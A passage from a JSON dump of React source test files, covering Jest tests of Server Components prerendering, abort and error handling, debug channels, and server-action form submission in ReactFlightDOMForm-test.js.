Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.';\n\n    try {\n      await result;\n    } catch (x) {\n      expect(x).toEqual(\n        expect.objectContaining({\n          message: expectedMessage,\n        }),\n      );\n    }\n\n    expect(errors).toEqual([\n      {\n        error: expect.objectContaining({\n          message: expectedMessage,\n        }),\n        componentStack: (__DEV__ ? '\\n    in Erroring' : '') + '\\n    in div',\n      },\n    ]);\n  });\n\n  it('can prerender', async () => {\n    let resolveGreeting;\n    const greetingPromise = new Promise(resolve => {\n      resolveGreeting = resolve;\n    });\n\n    function App() {\n      return (\n        <div>\n          <Greeting />\n        </div>\n      );\n    }\n\n    async function Greeting() {\n      await greetingPromise;\n      return 'hello world';\n    }\n\n    const {pendingResult} = await serverAct(async () => {\n      // destructure trick to avoid the act scope from awaiting the returned value\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerender(\n          <App />,\n          webpackMap,\n        ),\n      };\n    });\n\n    resolveGreeting();\n    const {prelude} = await pendingResult;\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(prelude, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    // Use the SSR render to resolve any lazy elements\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(\n        React.createElement(ClientRoot, {response}),\n      ),\n    );\n    // Should still match the result when parsed\n    const result = await readResult(ssrStream);\n    expect(result).toBe('<div>hello world</div>');\n  });\n\n  it('does not propagate abort reasons errors when aborting a prerender', async () => {\n    let resolveGreeting;\n    const greetingPromise = new Promise(resolve => {\n      resolveGreeting = resolve;\n    });\n\n    function App() {\n      return (\n        <div>\n          <ReactServer.Suspense fallback=\"loading...\">\n            <Greeting />\n          </ReactServer.Suspense>\n        </div>\n      );\n    }\n\n    async function Greeting() {\n      await greetingPromise;\n      return 'hello world';\n    }\n\n    const controller = new AbortController();\n    const errors = [];\n    const {pendingResult} = await serverAct(async () => {\n      // destructure trick to avoid the act scope from awaiting the returned value\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerender(\n          <App />,\n          webpackMap,\n          {\n            signal: controller.signal,\n            onError(err) {\n              errors.push(err);\n            },\n          },\n        ),\n      };\n    });\n\n    await serverAct(() => {\n      controller.abort('boom');\n    });\n    resolveGreeting();\n    const {prelude} = await pendingResult;\n\n    expect(errors).toEqual([]);\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromReadableStream(prelude, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    const fizzController = new AbortController();\n    errors.length = 0;\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(\n        React.createElement(ClientRoot, {response}),\n        {\n          signal: fizzController.signal,\n          onError(error) {\n            errors.push(error);\n          },\n        },\n      ),\n    );\n    fizzController.abort('bam');\n    expect(errors).toEqual([new Error('Connection closed.')]);\n    // Should still match the result when parsed\n    const result = await readResult(ssrStream);\n    const div = document.createElement('div');\n    div.innerHTML = result;\n    expect(div.textContent).toBe('loading...');\n  });\n\n  it('should abort parsing an incomplete prerender payload', async () => {\n    const infinitePromise = new Promise(() => {});\n    const controller = new AbortController();\n    const errors = [];\n    const {pendingResult} = await serverAct(async () => {\n      // destructure trick to avoid the act scope from awaiting the returned value\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerender(\n          {promise: infinitePromise},\n          webpackMap,\n          {\n            signal: controller.signal,\n            onError(err) {\n              errors.push(err);\n            },\n          },\n        ),\n      };\n    });\n\n    controller.abort();\n    const {prelude} = await serverAct(() => pendingResult);\n\n    expect(errors).toEqual([]);\n\n    const response = ReactServerDOMClient.createFromReadableStream(prelude, {\n      serverConsumerManifest: {\n        moduleMap: {},\n        moduleLoading: {},\n      },\n    });\n\n    // Wait for the stream to finish and therefore abort before we try to .then the response.\n    await 0;\n\n    const result = await response;\n\n    let error = null;\n    try {\n      await result.promise;\n    } catch (x) {\n      error = x;\n    }\n    expect(error).not.toBe(null);\n    expect(error.message).toBe('Connection closed.');\n  });\n\n  it('should be able to handle a rejected promise in prerender', async () => {\n    const expectedError = new Error('Bam!');\n    const errors = [];\n\n    const {prelude} = await ReactServerDOMStaticServer.prerender(\n      Promise.reject(expectedError),\n      webpackMap,\n      {\n        onError(err) {\n          errors.push(err);\n        },\n      },\n    );\n\n    expect(errors).toEqual([expectedError]);\n\n    const response = ReactServerDOMClient.createFromReadableStream(prelude, {\n      serverConsumerManifest: {\n        moduleMap: {},\n        moduleLoading: {},\n      },\n    });\n\n    let error = null;\n    try {\n      await response;\n    } catch (x) {\n      error = x;\n    }\n\n    const expectedMessage = __DEV__\n      ? expectedError.message\n      : 'An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.';\n\n    expect(error).not.toBe(null);\n    expect(error.message).toBe(expectedMessage);\n  });\n\n  it('should be able to handle an erroring async iterable in prerender', async () => {\n    const expectedError = new Error('Bam!');\n    const errors = [];\n\n    const {prelude} = await ReactServerDOMStaticServer.prerender(\n      {\n        async *[Symbol.asyncIterator]() {\n          await serverAct(() => {\n            throw expectedError;\n          });\n        },\n      },\n      webpackMap,\n      {\n        onError(err) {\n          errors.push(err);\n        },\n      },\n    );\n\n    expect(errors).toEqual([expectedError]);\n\n    const response = ReactServerDOMClient.createFromReadableStream(prelude, {\n      serverConsumerManifest: {\n        moduleMap: {},\n        moduleLoading: {},\n      },\n    });\n\n    let error = null;\n    try {\n      const result = await response;\n      const iterator = result[Symbol.asyncIterator]();\n      await iterator.next();\n    } catch (x) {\n      error = x;\n    }\n\n    const expectedMessage = __DEV__\n      ? expectedError.message\n      : 'An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.';\n\n    expect(error).not.toBe(null);\n    expect(error.message).toBe(expectedMessage);\n  });\n\n  it('should be able to handle an erroring readable stream in prerender', async () => {\n    const expectedError = new Error('Bam!');\n    const errors = [];\n\n    const {prelude} = await ReactServerDOMStaticServer.prerender(\n      new ReadableStream({\n        async start(controller) {\n          await serverAct(() => {\n            setTimeout(() => {\n              controller.error(expectedError);\n            });\n          });\n        },\n      }),\n      webpackMap,\n      {\n        onError(err) {\n          errors.push(err);\n        },\n      },\n    );\n\n    expect(errors).toEqual([expectedError]);\n\n    const response = ReactServerDOMClient.createFromReadableStream(prelude, {\n      serverConsumerManifest: {\n        moduleMap: {},\n        moduleLoading: {},\n      },\n    });\n\n    let error = null;\n    try {\n      const stream = await response;\n      await stream.getReader().read();\n    } catch (x) {\n      error = x;\n    }\n\n    const expectedMessage = __DEV__\n      ? expectedError.message\n      : 'An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.';\n\n    expect(error).not.toBe(null);\n    expect(error.message).toBe(expectedMessage);\n  });\n\n  it('can prerender an async iterable', async () => {\n    const errors = [];\n\n    const {prelude} = await ReactServerDOMStaticServer.prerender(\n      {\n        async *[Symbol.asyncIterator]() {\n          yield 'hello';\n          yield ' ';\n          yield 'world';\n        },\n      },\n      webpackMap,\n      {\n        onError(err) {\n          errors.push(err);\n        },\n      },\n    );\n\n    expect(errors).toEqual([]);\n\n    const response = ReactServerDOMClient.createFromReadableStream(prelude, {\n      serverConsumerManifest: {\n        moduleMap: {},\n        moduleLoading: {},\n      },\n    });\n\n    let text = '';\n    const result = await response;\n    const iterator = result[Symbol.asyncIterator]();\n\n    while (true) {\n      const {done, value} = await iterator.next();\n      if (done) {\n        break;\n      }\n      text += value;\n    }\n\n    expect(text).toBe('hello world');\n  });\n\n  it('can prerender a readable stream', async () => {\n    const errors = [];\n\n    const {prelude} = await ReactServerDOMStaticServer.prerender(\n      new ReadableStream({\n        start(controller) {\n          controller.enqueue('hello world');\n          controller.close();\n        },\n      }),\n      webpackMap,\n      {\n        onError(err) {\n          errors.push(err);\n        },\n      },\n    );\n\n    expect(errors).toEqual([]);\n\n    const response = ReactServerDOMClient.createFromReadableStream(prelude, {\n      serverConsumerManifest: {\n        moduleMap: {},\n        moduleLoading: {},\n      },\n    });\n\n    const stream = await response;\n    const result = await readResult(stream);\n\n    expect(result).toBe('hello world');\n  });\n\n  it('does not return a prerender prelude early when an error is emitted and there are still pending tasks', async () => {\n    let rejectPromise;\n    const rejectingPromise = new Promise(\n      (resolve, reject) => (rejectPromise = reject),\n    );\n    const expectedError = new Error('Boom!');\n    const errors = [];\n\n    const {prelude} = await ReactServerDOMStaticServer.prerender(\n      [\n        rejectingPromise,\n        {\n          async *[Symbol.asyncIterator]() {\n            yield 'hello';\n            yield ' ';\n            await serverAct(() => {\n              rejectPromise(expectedError);\n            });\n            yield 'world';\n          },\n        },\n      ],\n      webpackMap,\n      {\n        onError(err) {\n          errors.push(err);\n        },\n      },\n    );\n\n    expect(errors).toEqual([expectedError]);\n\n    const response = ReactServerDOMClient.createFromReadableStream(prelude, {\n      serverConsumerManifest: {\n        moduleMap: {},\n        moduleLoading: {},\n      },\n    });\n\n    let text = '';\n    const [promise, iterable] = await response;\n    const iterator = iterable[Symbol.asyncIterator]();\n\n    while (true) {\n      const {done, value} = await iterator.next();\n      if (done) {\n        break;\n      }\n      text += value;\n    }\n\n    expect(text).toBe('hello world');\n\n    let error = null;\n    try {\n      await promise;\n    } catch (x) {\n      error = x;\n    }\n\n    const expectedMessage = __DEV__\n      ? expectedError.message\n      : 'An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.';\n\n    expect(error).not.toBe(null);\n    expect(error.message).toBe(expectedMessage);\n  });\n\n  it('does not include source locations in component stacks for halted components', async () => {\n    // We only support adding source locations for halted components in the Node.js builds.\n\n    async function Component() {\n      await new Promise(() => {});\n      return null;\n    }\n\n    function App() {\n      return ReactServer.createElement(\n        'html',\n        null,\n        ReactServer.createElement(\n          'body',\n          null,\n          ReactServer.createElement(\n            ReactServer.Suspense,\n            {fallback: 'Loading...'},\n            ReactServer.createElement(Component, null),\n          ),\n        ),\n      );\n    }\n\n    const serverAbortController = new AbortController();\n    const errors = [];\n    const prerenderResult = ReactServerDOMStaticServer.prerender(\n      ReactServer.createElement(App, null),\n      webpackMap,\n      {\n        signal: serverAbortController.signal,\n        onError(err) {\n          errors.push(err);\n        },\n      },\n    );\n\n    await new Promise(resolve => {\n      setImmediate(() => {\n        serverAbortController.abort();\n        resolve();\n      });\n    });\n\n    const {prelude} = await prerenderResult;\n\n    expect(errors).toEqual([]);\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const prerenderResponse = ReactServerDOMClient.createFromReadableStream(\n      await createBufferedUnclosingStream(prelude),\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n\n    let componentStack;\n    let ownerStack;\n\n    const clientAbortController = new AbortController();\n\n    const fizzPrerenderStreamResult = ReactDOMFizzStatic.prerender(\n      React.createElement(ClientRoot, {response: prerenderResponse}),\n      {\n        signal: clientAbortController.signal,\n        onError(error, errorInfo) {\n          componentStack = errorInfo.componentStack;\n          ownerStack = React.captureOwnerStack\n            ? React.captureOwnerStack()\n            : null;\n        },\n      },\n    );\n\n    await new Promise(resolve => {\n      setImmediate(() => {\n        clientAbortController.abort();\n        resolve();\n      });\n    });\n\n    const fizzPrerenderStream = await fizzPrerenderStreamResult;\n    const prerenderHTML = await readResult(fizzPrerenderStream.prelude);\n\n    expect(prerenderHTML).toContain('Loading...');\n\n    if (__DEV__) {\n      expect(normalizeCodeLocInfo(componentStack)).toBe(\n        '\\n    in Component\\n' +\n          '    in Suspense\\n' +\n          '    in body\\n' +\n          '    in html\\n' +\n          '    in App (at **)\\n' +\n          '    in ClientRoot (at **)',\n      );\n    } else {\n      expect(normalizeCodeLocInfo(componentStack)).toBe(\n        '\\n    in Suspense\\n' +\n          '    in body\\n' +\n          '    in html\\n' +\n          '    in ClientRoot (at **)',\n      );\n    }\n\n    if (__DEV__) {\n      expect(normalizeCodeLocInfo(ownerStack)).toBe('\\n    in App (at **)');\n    } else {\n      expect(ownerStack).toBeNull();\n    }\n  });\n\n  it('can pass an async import that resolves later as a prop to a null component', async () => {\n    let resolveClientComponentChunk;\n    const client = clientExports(\n      {\n        foo: 'bar',\n      },\n      '42',\n      '/test.js',\n      new Promise(resolve => (resolveClientComponentChunk = resolve)),\n    );\n\n    function ServerComponent(props) {\n      return null;\n    }\n\n    function App() {\n      return (\n        <div>\n          <ServerComponent client={client} />\n        </div>\n      );\n    }\n\n    const stream = await serverAct(() =>\n      passThrough(\n        ReactServerDOMServer.renderToReadableStream(<App />, webpackMap),\n      ),\n    );\n\n    // Parsing the root blocks because the module hasn't loaded yet\n    const response = ReactServerDOMClient.createFromReadableStream(stream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n\n    function ClientRoot() {\n      return use(response);\n    }\n\n    // Initialize to be blocked.\n    response.then(() => {});\n    // Unblock.\n    resolveClientComponentChunk();\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<ClientRoot />),\n    );\n    const result = await readResult(ssrStream);\n    expect(result).toEqual('<div></div>');\n  });\n\n  // @gate __DEV__\n  it('can transport debug info through a separate debug channel', async () => {\n    function Thrower() {\n      throw new Error('ssr-throw');\n    }\n\n    const ClientComponentOnTheClient = clientExports(\n      Thrower,\n      123,\n      'path/to/chunk.js',\n    );\n\n    const ClientComponentOnTheServer = clientExports(Thrower);\n\n    function App() {\n      return ReactServer.createElement(\n        ReactServer.Suspense,\n        null,\n        ReactServer.createElement(ClientComponentOnTheClient, null),\n      );\n    }\n\n    let debugReadableStreamController;\n\n    const debugReadableStream = new ReadableStream({\n      start(controller) {\n        debugReadableStreamController = controller;\n      },\n    });\n\n    const rscStream = await serverAct(() =>\n      passThrough(\n        ReactServerDOMServer.renderToReadableStream(\n          ReactServer.createElement(App, null),\n          webpackMap,\n          {\n            debugChannel: {\n              writable: new WritableStream({\n                write(chunk) {\n                  debugReadableStreamController.enqueue(chunk);\n                },\n                close() {\n                  debugReadableStreamController.close();\n                },\n              }),\n            },\n          },\n        ),\n      ),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const serverConsumerManifest = {\n      moduleMap: {\n        [webpackMap[ClientComponentOnTheClient.$$id].id]: {\n          '*': webpackMap[ClientComponentOnTheServer.$$id],\n        },\n      },\n      moduleLoading: webpackModuleLoading,\n    };\n\n    const response = ReactServerDOMClient.createFromReadableStream(\n      // Create a delayed stream to simulate that the RSC stream might be\n      // transported slower than the debug channel, which must not lead to a\n      // `Connection closed` error in the Flight client.\n      createDelayedStream(rscStream),\n      {\n        serverConsumerManifest,\n        debugChannel: {readable: debugReadableStream},\n      },\n    );\n\n    let ownerStack;\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(\n        <ClientRoot response={response} />,\n        {\n          onError(err, errorInfo) {\n            ownerStack = React.captureOwnerStack\n              ? React.captureOwnerStack()\n              : null;\n          },\n        },\n      ),\n    );\n\n    const result = await readResult(ssrStream);\n\n    expect(normalizeCodeLocInfo(ownerStack)).toBe('\\n    in App (at **)');\n\n    expect(result).toContain(\n      'Switched to client rendering because the server rendering errored:\\n\\nssr-throw',\n    );\n  });\n\n  // @gate __DEV__\n  it('can transport debug info through a slow debug channel', async () => {\n    function Thrower() {\n      throw new Error('ssr-throw');\n    }\n\n    const ClientComponentOnTheClient = clientExports(\n      Thrower,\n      123,\n      'path/to/chunk.js',\n    );\n\n    const ClientComponentOnTheServer = clientExports(Thrower);\n\n    function App() {\n      return ReactServer.createElement(\n        ReactServer.Suspense,\n        null,\n        ReactServer.createElement(ClientComponentOnTheClient, null),\n      );\n    }\n\n    let debugReadableStreamController;\n\n    const debugReadableStream = new ReadableStream({\n      start(controller) {\n        debugReadableStreamController = controller;\n      },\n    });\n\n    const rscStream = await serverAct(() =>\n      passThrough(\n        ReactServerDOMServer.renderToReadableStream(\n          ReactServer.createElement(App, null),\n          webpackMap,\n          {\n            debugChannel: {\n              writable: new WritableStream({\n                write(chunk) {\n                  debugReadableStreamController.enqueue(chunk);\n                },\n                close() {\n                  debugReadableStreamController.close();\n                },\n              }),\n            },\n          },\n        ),\n      ),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const serverConsumerManifest = {\n      moduleMap: {\n        [webpackMap[ClientComponentOnTheClient.$$id].id]: {\n          '*': webpackMap[ClientComponentOnTheServer.$$id],\n        },\n      },\n      moduleLoading: webpackModuleLoading,\n    };\n\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      serverConsumerManifest,\n      debugChannel: {\n        readable:\n          // Create a delayed stream to simulate that the debug stream might be\n          // transported slower than the RSC stream, which must not lead to\n          // missing debug info.\n          createDelayedStream(debugReadableStream),\n      },\n    });\n\n    let ownerStack;\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(\n        <ClientRoot response={response} />,\n        {\n          onError(err, errorInfo) {\n            ownerStack = React.captureOwnerStack\n              ? React.captureOwnerStack()\n              : null;\n          },\n        },\n      ),\n    );\n\n    const result = await readResult(ssrStream);\n\n    expect(normalizeCodeLocInfo(ownerStack)).toBe('\\n    in App (at **)');\n\n    expect(result).toContain(\n      'Switched to client rendering because the server rendering errored:\\n\\nssr-throw',\n    );\n  });\n\n  it('should properly resolve with deduped objects', async () => {\n    const obj = {foo: 'hi'};\n\n    function Test(props) {\n      return props.obj.foo;\n    }\n\n    const root = {\n      obj: obj,\n      node: <Test obj={obj} />,\n    };\n\n    const stream = ReactServerDOMServer.renderToReadableStream(root);\n\n    const response = ReactServerDOMClient.createFromReadableStream(stream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n\n    const result = await response;\n    expect(result).toEqual({obj: obj, node: 'hi'});\n  });\n\n  it('does not leak the server reference code', async () => {\n    function foo() {\n      return 'foo';\n    }\n\n    const bar = () => {\n      return 'bar';\n    };\n\n    const anonymous = (\n      () => () =>\n        'anonymous'\n    )();\n\n    expect(\n      ReactServerDOMServer.registerServerReference(foo, 'foo-id').toString(),\n    ).toBe('function () { [omitted code] }');\n\n    expect(\n      ReactServerDOMServer.registerServerReference(bar, 'bar-id').toString(),\n    ).toBe('function () { [omitted code] }');\n\n    expect(\n      ReactServerDOMServer.registerServerReference(\n        anonymous,\n        'anonymous-id',\n      ).toString(),\n    ).toBe('function () { [omitted code] }');\n  });\n});\n"
  },
  {
    "path": "packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMForm-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {insertNodesAndExecuteScripts} from 'react-dom/src/test-utils/FizzTestUtils';\n\n// Polyfills for test environment\nglobal.ReadableStream =\n  require('web-streams-polyfill/ponyfill/es6').ReadableStream;\nglobal.TextEncoder = require('util').TextEncoder;\nglobal.TextDecoder = require('util').TextDecoder;\n\n// Polyfill stream methods on JSDOM.\nglobal.Blob.prototype.stream = function () {\n  const impl = Object.getOwnPropertySymbols(this)[0];\n  const buffer = this[impl]._buffer;\n  return new ReadableStream({\n    start(c) {\n      c.enqueue(new Uint8Array(buffer));\n      c.close();\n    },\n  });\n};\n\nglobal.Blob.prototype.text = async function () {\n  const impl = Object.getOwnPropertySymbols(this)[0];\n  return this[impl]._buffer.toString('utf8');\n};\n\n// Don't wait before processing work on the server.\n// TODO: we can replace this with FlightServer.act().\nglobal.setTimeout = cb => cb();\n\nlet container;\nlet clientExports;\nlet serverExports;\nlet webpackMap;\nlet webpackServerMap;\nlet React;\nlet ReactDOMServer;\nlet ReactServerDOMServer;\nlet ReactServerDOMClient;\nlet ReactDOMClient;\nlet useActionState;\nlet act;\nlet assertConsoleErrorDev;\n\ndescribe('ReactFlightDOMForm', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    // Simulate the condition resolution\n    jest.mock('react', () => require('react/react.react-server'));\n    jest.mock('react-server-dom-webpack/server', () =>\n      require('react-server-dom-webpack/server.edge'),\n    );\n    ReactServerDOMServer = require('react-server-dom-webpack/server.edge');\n    const WebpackMock = require('./utils/WebpackMock');\n    clientExports = WebpackMock.clientExports;\n    serverExports = WebpackMock.serverExports;\n    webpackMap = WebpackMock.webpackMap;\n    webpackServerMap = WebpackMock.webpackServerMap;\n    __unmockReact();\n    jest.resetModules();\n    React = require('react');\n    ReactServerDOMClient = require('react-server-dom-webpack/client.edge');\n    ReactDOMServer = require('react-dom/server.edge');\n    ReactDOMClient = require('react-dom/client');\n    act = React.act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n\n    // TODO: Test the old api but it warns so needs warnings to be asserted.\n    // if (__VARIANT__) {\n    // Remove after API is deleted.\n    // useActionState = require('react-dom').useFormState;\n    // }\n    useActionState = require('react').useActionState;\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  async function POST(formData) {\n    const boundAction = await ReactServerDOMServer.decodeAction(\n      formData,\n      webpackServerMap,\n    );\n    const returnValue = boundAction();\n    const formState = await ReactServerDOMServer.decodeFormState(\n      await returnValue,\n      formData,\n      webpackServerMap,\n    );\n    return {returnValue, formState};\n  }\n\n  function submit(submitter) {\n    const form = submitter.form || submitter;\n    if (!submitter.form) {\n      submitter = undefined;\n    }\n    const submitEvent = new Event('submit', {bubbles: true, cancelable: true});\n    submitEvent.submitter = submitter;\n    const returnValue = form.dispatchEvent(submitEvent);\n    if (!returnValue) {\n      return;\n    }\n    const action =\n      (submitter && submitter.getAttribute('formaction')) || form.action;\n    if (!/\\s*javascript:/i.test(action)) {\n      const method = (submitter && submitter.formMethod) || form.method;\n      const encType = (submitter && submitter.formEnctype) || form.enctype;\n      if (method === 'post' && encType === 'multipart/form-data') {\n        const formData = new FormData(form, submitter);\n        return POST(formData);\n      }\n      throw new Error('Navigate to: ' + action);\n    }\n  }\n\n  async function readIntoContainer(stream) {\n    const reader = stream.getReader();\n    let result = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        break;\n      }\n      result += Buffer.from(value).toString('utf8');\n    }\n    const temp = document.createElement('div');\n    temp.innerHTML = result;\n    insertNodesAndExecuteScripts(temp, container, null);\n  }\n\n  it('can submit a passed server action without hydrating it', async () => {\n    let foo = null;\n\n    const serverAction = serverExports(function action(formData) {\n      foo = formData.get('foo');\n      return 'hello';\n    });\n    function App() {\n      return (\n        <form action={serverAction}>\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n        </form>\n      );\n    }\n    const rscStream = ReactServerDOMServer.renderToReadableStream(<App />);\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    const ssrStream = await ReactDOMServer.renderToReadableStream(response);\n    await readIntoContainer(ssrStream);\n\n    const form = container.firstChild;\n\n    expect(foo).toBe(null);\n\n    const {returnValue} = await submit(form);\n\n    expect(returnValue).toBe('hello');\n    expect(foo).toBe('bar');\n  });\n\n  it('can submit an imported server action without hydrating it', async () => {\n    let foo = null;\n\n    const ServerModule = serverExports(function action(formData) {\n      foo = formData.get('foo');\n      return 'hi';\n    });\n    const serverAction = ReactServerDOMClient.createServerReference(\n      ServerModule.$$id,\n    );\n    function App() {\n      return (\n        <form action={serverAction}>\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n        </form>\n      );\n    }\n\n    const ssrStream = await ReactDOMServer.renderToReadableStream(<App />);\n    await readIntoContainer(ssrStream);\n\n    const form = container.firstChild;\n\n    expect(foo).toBe(null);\n\n    const {returnValue} = await submit(form);\n\n    expect(returnValue).toBe('hi');\n\n    expect(foo).toBe('bar');\n  });\n\n  it('can submit a complex closure server action without hydrating it', async () => {\n    let foo = null;\n\n    const serverAction = serverExports(function action(bound, formData) {\n      foo = formData.get('foo') + bound.complex;\n      return 'hello';\n    });\n    function App() {\n      return (\n        <form action={serverAction.bind(null, {complex: 'object'})}>\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n        </form>\n      );\n    }\n    const rscStream = ReactServerDOMServer.renderToReadableStream(<App />);\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    const ssrStream = await ReactDOMServer.renderToReadableStream(response);\n    await readIntoContainer(ssrStream);\n\n    const form = container.firstChild;\n\n    expect(foo).toBe(null);\n\n    const {returnValue} = await submit(form);\n\n    expect(returnValue).toBe('hello');\n    expect(foo).toBe('barobject');\n  });\n\n  it('can submit a multiple complex closure server action without hydrating it', async () => {\n    let foo = null;\n\n    const serverAction = serverExports(function action(bound, formData) {\n      foo = formData.get('foo') + bound.complex;\n      return 'hello' + bound.complex;\n    });\n    function App() {\n      return (\n        <form action={serverAction.bind(null, {complex: 'a'})}>\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n          <button formAction={serverAction.bind(null, {complex: 'b'})} />\n          <button formAction={serverAction.bind(null, {complex: 'c'})} />\n          <input\n            type=\"submit\"\n            formAction={serverAction.bind(null, {complex: 'd'})}\n          />\n        </form>\n      );\n    }\n    const rscStream = ReactServerDOMServer.renderToReadableStream(<App />);\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    const ssrStream = await ReactDOMServer.renderToReadableStream(response);\n    await readIntoContainer(ssrStream);\n\n    const form = container.firstChild;\n\n    expect(foo).toBe(null);\n\n    const {returnValue} = await submit(form.getElementsByTagName('button')[1]);\n\n    expect(returnValue).toBe('helloc');\n    expect(foo).toBe('barc');\n  });\n\n  it('can bind an imported server action on the client without hydrating it', async () => {\n    let foo = null;\n\n    const ServerModule = serverExports(function action(bound, formData) {\n      foo = formData.get('foo') + bound.complex;\n      return 'hello';\n    });\n    const serverAction = ReactServerDOMClient.createServerReference(\n      ServerModule.$$id,\n    );\n    function Client() {\n      return (\n        <form action={serverAction.bind(null, {complex: 'object'})}>\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n        </form>\n      );\n    }\n\n    const ssrStream = await ReactDOMServer.renderToReadableStream(<Client />);\n    await readIntoContainer(ssrStream);\n\n    const form = container.firstChild;\n\n    expect(foo).toBe(null);\n\n    const {returnValue} = await submit(form);\n\n    expect(returnValue).toBe('hello');\n    expect(foo).toBe('barobject');\n  });\n\n  it('can bind a server action on the client without hydrating it', async () => {\n    let foo = null;\n\n    const serverAction = serverExports(function action(bound, formData) {\n      foo = formData.get('foo') + bound.complex;\n      return 'hello';\n    });\n\n    function Client({action}) {\n      return (\n        <form action={action.bind(null, {complex: 'object'})}>\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n        </form>\n      );\n    }\n    const ClientRef = await clientExports(Client);\n\n    const rscStream = ReactServerDOMServer.renderToReadableStream(\n      <ClientRef action={serverAction} />,\n      webpackMap,\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    const ssrStream = await ReactDOMServer.renderToReadableStream(response);\n    await readIntoContainer(ssrStream);\n\n    const form = container.firstChild;\n\n    expect(foo).toBe(null);\n\n    const {returnValue} = await submit(form);\n\n    expect(returnValue).toBe('hello');\n    expect(foo).toBe('barobject');\n  });\n\n  it(\"useActionState's dispatch binds the initial state to the provided action\", async () => {\n    const serverAction = serverExports(\n      async function action(prevState, formData) {\n        return {\n          count:\n            prevState.count + parseInt(formData.get('incrementAmount'), 10),\n        };\n      },\n    );\n\n    const initialState = {count: 1};\n    function Client({action}) {\n      const [state, dispatch, isPending] = useActionState(action, initialState);\n      return (\n        <form action={dispatch}>\n          <span>{isPending ? 'Pending...' : ''}</span>\n          <span>Count: {state.count}</span>\n          <input type=\"text\" name=\"incrementAmount\" defaultValue=\"5\" />\n        </form>\n      );\n    }\n\n    const ClientRef = await clientExports(Client);\n\n    const rscStream = ReactServerDOMServer.renderToReadableStream(\n      <ClientRef action={serverAction} />,\n      webpackMap,\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    const ssrStream = await ReactDOMServer.renderToReadableStream(response);\n    await readIntoContainer(ssrStream);\n\n    const form = container.getElementsByTagName('form')[0];\n    const pendingSpan = container.getElementsByTagName('span')[0];\n    const stateSpan = container.getElementsByTagName('span')[1];\n    expect(pendingSpan.textContent).toBe('');\n    expect(stateSpan.textContent).toBe('Count: 1');\n\n    const {returnValue} = await submit(form);\n    expect(await returnValue).toEqual({count: 6});\n  });\n\n  it('useActionState can reuse state during MPA form submission', async () => {\n    const serverAction = serverExports(\n      async function action(prevState, formData) {\n        return prevState + 1;\n      },\n    );\n\n    function Form({action}) {\n      const [count, dispatch, isPending] = useActionState(action, 1);\n      return (\n        <form action={dispatch}>\n          {isPending ? 'Pending...' : ''}\n          {count}\n        </form>\n      );\n    }\n\n    function Client({action}) {\n      return (\n        <div>\n          <Form action={action} />\n          <Form action={action} />\n          <Form action={action} />\n        </div>\n      );\n    }\n\n    const ClientRef = await clientExports(Client);\n\n    const rscStream = 